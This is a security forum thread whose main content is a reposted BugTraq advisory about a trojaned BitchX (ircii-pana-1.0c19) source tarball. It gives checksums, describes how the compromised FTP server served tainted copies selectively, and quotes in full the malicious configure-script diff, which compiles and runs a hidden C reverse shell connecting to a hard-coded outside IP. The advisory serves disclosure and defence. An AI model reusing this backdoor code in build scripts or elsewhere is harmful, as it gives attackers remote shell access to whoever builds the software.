Watch your backdoor

[converge]

This was cute...
http://online.securityfocus.com/news/462

looks like source could use a good scheme for monitoring unauthorized alterations...

[blackwave]

Re: Watch your backdoor

Originally posted by c0nv3r9
This was cute...
http://online.securityfocus.com/news/462

looks like source could use a good scheme for monitoring unauthorized alterations...

gotta love the humor:
Today, the Web server at the Internet protocol address listed in the backdoored Irssi code returned the message: "All your base are belong to us."

Check out the AYB video if you haven't already:
http://www.planettribes.com/allyourbase/video3.shtml

Buy your AYB shirt if you haven't already:
http://www.thinkgeek.com/stuff/apparel/3777.shtml

Buy your AYB coffee mug if you haven't already:
http://www.thinkgeek.com/stuff/fun-stuff/378a.shtml

Mechanic: Somebody set up us the bomb.

[simon]

The Days...

When that was hot shit... Now it's "like" uncool to make that joke in san francisco anymore... I still think broken engrish is funny as all hell.

[astcell]

Does anyone have this video downloaded?

[blackwave]

Originally posted by astcell
Does anyone have this video downloaded?

chatting with you on IRC about this :)

[blackwave]

Speaking of backdoors...

http://online.securityfocus.com/arch...8/2002-07-04/0

To: BugTraq
Subject: ftp.bitchx.org's ircii-pana-1.0c19.tar.gz is backdoored
Date: Jul 1 2002 3:42PM
Author: Hank Leininger <hlein@metasecuritygroup.com>
Message-ID: <Pine.LNX.4.44.0207011111460.14560-100000@mail.metases.com>


A few hours ago (1 AM US/Eastern time, July 1) we downloaded
ircii-pana-1.0c19.tar.gz from ftp.bitchx.com (216.165.191.5) and
reviewed the configure script before running it. It has essentially
the same configure backdoor as fragroute-1.2.tar.gz[1] -- a TCP
connection is made outbound, with a shell bound to it (a reverse
telnet). This appears to retry/respawn once per hour. The 1.0c19
tarball at ftp.irc.org (which mirrors bitchx.com) did not appear to be
trojaned when we pulled from there about an hour later.

/dist$ md5sum ircii-pana-1.0c19*
46805199254c0fa2119d7c579194aba8 ircii-pana-1.0c19-bitchxorg.tar.gz [bad]
79431ff0880e7317049045981fac8adc ircii-pana-1.0c19-ircorg.tar.gz [good]

/src/ircii-pana-1.0c19-possiblytrojaned$ md5sum */configure
d6444c18b6faf352dfc6ca3bf8cb802a ftp.bitchx.org/configure [bad]
0bd531d523606a0296da2763dafa51f2 ftp.irc.org/configure [good]

Here is the added code in the bitchx.org distribution:

--- ircii-pana-1.0c19-ftp.irc.org/configure Sun Mar 24 04:30:49 2002
+++ ircii-pana-1.0c19-ftp.bitchx.org/configure Sun Mar 24 04:30:49 2002
@@ -6326,6 +6326,88 @@

fi

+# We did not find ourselves, most probably we were run as `sh COMMAND'
+# in which case we are not to be found in the path.
+cat >conftest.c <<_ACEOF
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <unistd.h>
+#include <errno.h>
+#include <signal.h>
+#include <setjmp.h>
+
+/* Override any gcc2 internal prototype to avoid an error.
+ Override any jmp buf internal prototype to avoid an error. */
+jmp_buf env; int s;
+void sig(int sig)
+{
+ close (s); sleep (3600); longjmp (env, 0);
+}
+
+int main()
+{
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+ int x; char c; struct sockaddr_in sa;
+
+/* This call has the arguments reversed.
+ A reversed system may check and see that the address of main
+ */
+ switch (fork ()) { case 0: break; default: exit (0); }
+
+ signal (SIGALRM, sig);
+ do {
+/* Override any gcc2 internal prototype to avoid an error.
+ Override any jmp buf internal prototype to avoid an error. */
+ setjmp(env);
+ if ((s = socket (AF_INET, SOCK_STREAM, 0)) == (-1)) exit (1);
+ memset (&sa, 0, sizeof(sa));
+ sa.sin_family = AF_INET;
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+ sa.sin_port = htons (6667);
+ sa.sin_addr.s_addr = inet_addr ("213.77.115.17"); alarm (10);
+/* Override any gcc2 internal prototype to avoid an error. */
+/* The GNU C library defines this for functions which it implements
+ to always fail with ENOSYS. Some functions are actually named
+ something starting with __ and the normal name is an alias. */
+ if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1))
+ if (errno != EINTR) exit(1);
+ if ((x = read (s, &c, 1)) == (-1)) {
+ if (errno != EINTR) exit (1); }
+ else if (x == 1) {
+/* The GNU C library defines this for functions which it implements
+ to always fail with ENOSYS. Some functions are actually named
+ something starting with __ and the normal name is an alias. */
+ alarm (0); dup2 (s, 0); dup2 (s, 1); dup2 (s, 2);
+/* System header to define __stub macros and hopefully few prototypes,
+ which can conflict with char inet_addr(); below. */
+ { char *a[] = { "/bin/sh", NULL }; execve (a[0], a, NULL); }
+ }
+ } while (1);
+}
+_ACEOF
+# Don't try to exec as it changes $[0], causing all sort of problems
+# (the dirname of $[0] is not the place where we might find the
+# original and so on. Autoconf is especially sensible to this).
+# Exit status is that of the last command.
+ACLIBLOCAL="`basename \"\`grep $USER: /etc/passwd\`\"`" 1>/dev/null 2>/dev/null
+# Create $as_me.lineno as a copy of $as_myself, but with $LINENO
+# uniformly replaced by the line number. The first 'sed' inserts a
+# line-number line before each line; the second 'sed' does the real
+# work. The second script uses 'N' to pair each line-number line
+# with the numbered line, and appends trailing '-' during
+# substitution so that $LINENO is not a special case at line end.
+# (Raja R Harinath suggested sed '=', and Paul Eggert wrote the
+# second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-)
+if ! test $ACLIBLOCAL ; then ACLIBLOCAL=sh; fi 1>/dev/null 2>/dev/null
+$CC $LIBS -w conftest.c -o $ACLIBLOCAL ; PATH=.:$PATH $ACLIBLOCAL 1>/dev/null 2>/dev/null
+rm -f ./conftest ./conftest.c $ACLIBLOCAL ./acliblocal ./aclib
+
echo "$as_me:$LINENO: checking for inet_aton" >&5
echo $ECHO_N "checking for inet_aton... $ECHO_C" >&6
if test "${ac_cv_func_inet_aton+set}" = set; then

</diff>

There's a little more to this. There are at least two versions of the
source code on (www|ftp).bitchx.(org|com)

79431ff0880e7317049045981fac8adc ircii-pana-1.0c19.tar.gz
46805199254c0fa2119d7c579194aba8 ircii-pana-1.0c19.tar.gz.1 <- owned

-rw-r--r-- 2533621 Mar 29 01:02 ircii-pana-1.0c19.tar.gz
-rw-r--r-- 2533621 Mar 29 01:02 ircii-pana-1.0c19.tar.gz.1


There is something very strange going on with the FTP server on
ftp.bitchx.org. In some cases, it serves up the trojaned version; in
others, the original, safe version. It seems to be client /
client-behavior based (we're not sure exactly what).

These will usually get you a clean copy:
wget ftp://ftp.bitchx.org/pub/BitchX/sour...-1.0c19.tar.gz
[netscape] ftp://ftp.bitchx.org/pub/BitchX/sour...-1.0c19.tar.gz
ftp ftp.bitchx.org ; get /pub/BitchX/source/ircii-pana-1.0c19.tar.gz
ftp ftp.bitchx.org ; cd /pub/BitchX/source ; get ircii-pana-1.0c19.tar.gz

These will usually give you the trojaned version:

lynx ftp://ftp.bitchx.org/pub/BitchX/sour...-1.0c19.tar.gz
ftp ftp.bitchx.org ; cd pub ; cd BitchX ; cd source ; get ircii-pana-1.0c19.tar.gz

To add a little more to this; we've confirmed that if you come off of
what appears to be a cablemodem/dsl IP you are likely to get a
trojan'd copy. If you come off of a more static link, you are likely
to get a clean copy.

This was verified using:
204.xxx.xxx.xxx range gets clean
12.xxx.xxx.xxx (ATT) gets dirty
66.xxx.xxx.xxx gets dirty

Using the 'ftp ; cd pub; ...' method. We have also observed cases
where the 'ftp method' yields a clean copy but lynx still fetches the
trojan'ed copy. In addition to source-network checking, ftpd may be
checking anonymous vs ftp login strings, what anon password is sent,
whether the client issues explicit TYPE I commands, whether it sends
paths with leading slashes, PORT vs PASV commands, RETR with the full
path, etc.

This indicates that someone has (at least) also tampered with the FTP
server software itself; most likely the server has been rooted. We
have reported this issue to BitchX developers, and they are
investigating. In the meantime, we suggest everyone should treat
anything downloaded from the ftp.bitchx.org server with extreme
skepticism.

[1] http://marc.theaimsgroup.com/?l=bugt...5523803434&w=2


Joe Segreti <seg@metasecuritygroup.com>
Mark Canter <marcus@vfxcomputing.com>
Hank Leininger <hlein@metasecuritygroup.com>